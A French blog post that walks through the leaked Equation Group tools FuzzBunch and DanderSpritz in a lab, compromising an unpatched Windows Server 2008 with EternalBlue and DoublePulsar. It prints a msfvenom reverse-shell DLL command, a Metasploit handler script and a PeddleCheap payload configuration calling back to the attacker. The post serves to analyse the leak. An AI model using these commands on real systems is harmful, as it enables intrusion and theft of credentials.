Dans la boite à outils d'Equation Group

Filtrer par catégorie :

16 Avril 2017 by Peter Stiehl
Dans la boite à outils d'Equation Group
Cet article a pour but de présenter la suite d'outils qui a été divulguée au travers d'un article de ShadowBrokers, en réalisant un focus sur deux d'entre eux, FuzzBunch et DanderSpritz, ainsi que les modules qui en découlent. Ces différents outils sont présents dans le fichier windows.tar.xz.gpg accessible sur ce lien.

Après quelques recherches, il s'avère nécessaire de mettre en place l'environnement technique pour l'utilisation des outils. Les dépendances suivantes doivent être installées sur un système d'exploitation Microsoft :
  • Python 2.6 ;
  • Pywin32 ;
  • Java.
Certaines étapes supplémentaires sont nécessaires afin d'utiliser l'ensemble des outils et ont été volontairement omises, l'objectif de ce billet étant de mesurer la nature et la réalité des informations mise à disposition puliquement. 

Il est important de souligner également que les outils propres à l’exploitation des vulnérabilités ou des différentes phases sont compilés pour une architecture x86 et que les sources des binaires ne sont pas disponibles.

La machine qui sert pour attaquer utilise un système d'exploitation Windows 7 x64 et la cible est un Windows server 2008 x64 sans les dernières mises à jour appliquées.

Voici alors un exemple d’utilisation du framework FuzzBunch qui est accessible au travers du script fb.py, une fois les dépendances nécessaires installées, et en modifiant le fichier de configuration FuzzBunch.xml. L’interface ressemble à un autre framework bien connu, à savoir Metasploit :

Démarrage de FuzzBunch

Dès l’exécution du framework, différents éléments de configuration sont requis :
  • l'adresse IP de la cible ainsi que celle de l’attaquant ;
  • indiquer si l’option redirection va être utilisée, certainement un outil permettant l’établissement de tunnels entre la machine d’attaque et sa cible ;
  • le dossier collectant les logs de l’outil ;
  • et pour finir, un nom de projet.
Configuration initiale

Dans le cas présent, la cible est accessible au travers de l’adresse IP 192.168.69.42. La machine d’attaque dispose de l'adresse IP 192.168.69.5.

L’outil est plutôt simple à prendre en main : autocomplétion des arguments, invitation à entrer les éléments de configuration et même la disponibilité d'une commande help :

Commande help

La commande use est celle qui permet de saisir le contexte d’utilisation d’un plugin sélectionné, dont voici la liste :

Liste des commandes

Globalement, ces plugins sont décomposés en plusieurs catégories :
  • reconnaissance de la cible et découverte des vulnérabilités exploitables : Architouch, Rpctouch, Domaintouch, Smbtouch, etc. ;
  • exploitation de vulnérabilités : Emeraldthread, Eclipsedwing, Eternal*, etc. ;
  • post-exploitation après infection de la cible : Douplepulsar, Regread, Regwrite, ...
Débute alors l’utilisation des outils de reconnaissance. Tout d’abord, Rpctouch permet de réaliser une prise d’empreinte de la cible :

Rpctouch

Ensuite, Smbtouch interroge la cible au travers du protocole SMB afin de récupérer la version et l’architecture du système d’exploitation, les pipes accessibles et liste les vulnérabilités exploitables au travers du framework :

Smbtouch

Dans cet exemple, le système cible semble être vulnérable à 3 failles différentes (EternalBlue, EternalRomance et EternalChampion). La phase d’exploitation de vulnérabilité est donc possible, avec par exemple EternalBlue. Lors de l’exécution du plugin, les données récupérées au travers de la phase de reconnaissance sont accessibles, ce qui rend l’exécution encore plus simple :

EternalBlue

Une fois les paramètres nécessaires configurés, l’exploitation et l’installation de la porte dérobée sont possibles :

Exploitation avec EternalBlue

Le message final indique que l’attaque a réussi, ce qui n’aura pris qu’une dizaine de secondes. La porte dérobée permet alors d’utiliser d’autres capacités du framework envers la cible.

La phase de post-exploitation peut alors commencer en utilisant le plugin DoublePulsar. Ce dernier est composé de plusieurs fonctionnalités majeures :
  • OutputInstall : sert à générer un shellcode pour installer la backdoor, principalement à utiliser en amont avec par exemple Eternalromance ;
  • Ping : vérification si la porte dérobée  a déjà été déployée sur la cible ;
  • Uninstall : sert à désinstaller la porte dérobée sur le système cible ;
  • RunShellcode : exécuter son propre code assembleur ;
  • RunDLL : exécuter une DLL au sein d’un processus.
Afin de tester l’attaque de bout en bout, une DLL a été générée avec l’outil msfvenom de la suite MSF en utilisant la commande suivante :

$ msfvenom -p windows/x64/meterpreter/reverse_https LPORT=443 LHOST=192.168.69.5 -f dll -o simple.dll

Puis un handler a été mis en place pour récupérer la main sur la cible par la suite :

$ cat handler.rc

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
set ExitOnSession false
exploit -j

$ sudo msfconsole -r handler.rc
[...]
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
resource (handler.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (handler.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (handler.rc)> set LPORT 443
LPORT => 443
resource (handler.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (handler.rc)> set ExitOnSession false
ExitOnSession => false
resource (handler.rc)> exploit -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] Starting the payload handler...
msf exploit(handler) >

Il ne reste alors plus qu’à configurer la fonctionnalité RunDLL de DoublePulsar et l’exécuter :

Exécution de DLL

Ainsi, la connexion est établie au travers de l’injection de la DLL au sein du processus lsass.exe et il est possible de contrôler la cible au travers de MSF :

Récupération du shell

Les droits récupérés sur la cible sont ceux du compte NT AUTHORITY/SYSTEM, sans quoi il n'aurait pas été possible d'injecter dans le processus lsass.exe.

Ceci est qu’une introduction de ce que le framework permet de réaliser : ce dernier est en effet bien plus complexe que ce qu’il en paraît.

Lors de l’utilisation d’un autre outil disponible, celui-ci met à disposition une interface graphique nommée DanderSpritz. Il est tout d’abord nécessaire de configurer certains paramètres au travers de l’appel du script configure_lb.py :

Paramètrage de DanderSpritz

Puis de nouvelles fonctionnalités sont alors accessibles :

DanderSpritz

Son utilisation de base est moins instinctive que FuzzBunch. La première possibilité qui saute aux yeux est PeddleCheap qui propose différentes options :
  • Connect : utilisé pour se connecter à une cible préalablement backdooré avec DoublePulsar ;
  • Listen : sert à créer un listener sur lequel les cibles se connectent ;
  • Trigger : sert à créer un listener sur la cible ou de lui demander de se connecter à un listener existant.
Voici le menu une fois l’option Trigger sélectionnée :

Option Trigger de PeddleCheap

Le problème est de trouver comment tout ça fonctionne… Heureusement une commande help est disponible dans le terminal :

Commande Help

Le nombre de commandes disponibles est bien plus important que dans FuzzBunch, l’approche n’est pas évidente, certaines commandes ne sont pas très explicites, néanmoins après un peu de recherche, la commande pc_prep a l’air d’être responsable de la génération de payload :

pc_prep menu

Cela rappelle un peu msfvenom. En utilisant la commande pc_prep -sharedlib afin de générer un payload sous forme de DLL, un dialogue interactif est engagé afin de le configurer :
08:03:14>> pc_prep -sharedlib
[08:03:14] ID: 137 'python' started [target: z0.0.0.1]
- Possible payloads:
-      0) - Quit
-      1) - Standard TCP (i386-winnt Level3 sharedlib)
-      2) - HTTP Proxy (i386-winnt Level3 sharedlib)
-      3) - Standard TCP (x64-winnt Level3 sharedlib)
-      4) - HTTP Proxy (x64-winnt Level3 sharedlib)
-      5) - Standard TCP Generic (i386-winnt Level4 sharedlib)
-      6) - HTTP Proxy Generic (i386-winnt Level4 sharedlib)
-      7) - Standard TCP AppCompat-enabled (i386-winnt Level4 sharedlib)
-      8) - HTTP Proxy AppCompat-enabled (i386-winnt Level4 sharedlib)
-      9) - Standard TCP UtilityBurst-enabled (i386-winnt Level4 sharedlib)
-     10) - HTTP Proxy UtilityBurst-enabled (i386-winnt Level4 sharedlib)
-     11) - Standard TCP WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
-     12) - HTTP Proxy WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
-     13) - Standard TCP (x64-winnt Level4 sharedlib)
-     14) - HTTP Proxy (x64-winnt Level4 sharedlib)
-     15) - Standard TCP AppCompat-enabled (x64-winnt Level4 sharedlib)
-     16) - HTTP Proxy AppCompat-enabled (x64-winnt Level4 sharedlib)
-     17) - Standard TCP WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
-     18) - HTTP Proxy WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
Pick the payload type
3
Update advanced settings
NO
Perform IMMEDIATE CALLBACK?
YES
Enter the PC ID [0]
0
Do you want to LISTEN?
NO
Enter the callback address (127.0.0.1 = no callback) [127.0.0.1]
192.168.69.5
Change CALLBACK PORTS?
NO
Change exe name in version information?
NO
- Pick a key
-   0) Exit
-   1) Create a new key
-   2) Default
Enter the desired option
2
- Configuration:
-
- <?xml version='1.0' encoding='UTF-8' ?>
- <PCConfig>
-   <Flags>
-     <PCHEAP_CONFIG_FLAG_CALLBACK_NOW/>
-     <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/>
-   </Flags>
-   <Id>0x0</Id>
-   <StartListenHour>0</StartListenHour>
-   <StopListenHour>0</StopListenHour>
-   <CallbackAddress>192.168.69.5</CallbackAddress>
- </PCConfig>
-
Is this configuration valid
YES
Do you want to configure with FC?
NO
- Configured binary at:
-   C:\logs\dsdemo\z0.0.0.1/Payloads/PeddleCheap_2017_04_16_08h03m20s.344/PC_Level3_dll.configured

Puis, un listener est configuré au travers de PeddleCheap. Il est uniquement possible d’écouter au travers des services TCP ou alors en HTTP. Ici, il est paramétré par défaut pour correspondre au payload généré au préalable. Il se met alors en écoute sur les ports TCP/53, TCP/80, TCP/443, TCP/1509 :

Listerner actif

Maintenant, il est nécessaire d’envoyer la DLL générée sur la cible ; pour cela, DoublePulsar est de nouveau utilisé comme lors de la démonstration d’injection en amont :

Injection de DLL

Une connexion est alors reçue est il est demandé d’accepter celle-ci. Une fois la connexion acceptée, le terminal commence à défiler de nombreuses informations à propos de la cible :
  • l’état des cartes réseau et de sa configuration ;
  • des informations du système cible ;
  • la liste des processus (certains processus tels que ceux utilisés par la virtualisation sont surlignés en une autre couleur) ;
  • l’uptime ;
  • la liste des drivers chargés avec une comparaison de leurs empreintes avec une base de données existante :
Connection établie

Démarrage

Puis différentes commandes sont exécutées automatiquement. Certaines nécessitent de confirmer leur exécution :
  • Dork security auditing
  • Monitors : supervision de la table ARP, netstat, et activités réseau ;
  • Scheduler survey : analyse des tâches planifiées ;
  • Persistence checks : vérifie si de la persistance est activée ;
  • Password dump ;
  • OS information : la langue d’installation ainsi que la version du système d’exploitation ;
  • Networking Information : récupère le FQDN et le serveur DNS utilisé ainsi que l’état des cartes réseau et de sa configuration ;
  • Route table : la table de routage ;
  • ARP table : la table ARP  ;
  • NETBIOS : récupération d’informations autour du protocole NETBIOS ;
  • Memory usage information : état de la mémoire ;
  • Disk list and space info : liste des disques et de l’espace disponible ;
  • USB survey info : information autour de l’USB.
Une fois ces étapes passées, il est alors possible de réaliser tout un tas d’attaques sur la cible au travers des différentes commandes. Voici un échantillon des possibilités offertes par les commandes :
  • Récupération d’information autour du système de la cible ;
  • Etablissement de tunnels ;
  • Utilisation de la cible pour en attaquer d’autres ;
  • Capture d’écran ;
  • Scan de ports ;
  • Capture de trafic réseau ;
  • Désactivation du contrôle de mot de passe lors de l’authentification pour un utilisateur ;
  • Récupération d’information autour d’un domaine active directory (utilisateurs, groupes, ordinateurs, …) ;
  • Manipulation des processus ;
  • Récupération de secrets stockés par skype, chrome, firefox, etc. ;
  • Installation de fonctionnalités de keylogging ;
  • etc…
Pour finir, voici quelques captures d'écran d'autres panels utilisables par l'outil :
  • Exécution de commande au travers d'un shell sur la cible :
Exécution de commande
  • Manipulation des processus :
Manipulation de processus
  • Journal d'événements :

Journal d'événements

Là encore, ce n'est qu'une ébauche de ce qu'il est possible d'effectuer comme actions au travers de DanderSpritz.

Plus l'étude s'approfondit dans l'utilisation des commandes, plus cela se complexifie. De plus, certaines commandes ne fonctionnent pas, car des fichiers sont manquants. Il est fort probable qu'il y a encore beaucoup à découvrir. 

L'utilisation des outils désormais disponibles à tout un chacun montre qu'ils sont stables, modulaires et efficaces. Il n'y a aucun doute sur le fait qu'un investissement important ait été réalisé afin de développer l'ensemble de ces composants. Un travail d'analyse complet sera désormais nécessaire pour pouvoir notamment générer des indicateurs de compromission et constater si une intrusion a été réalisée avec l'aide de ces outils.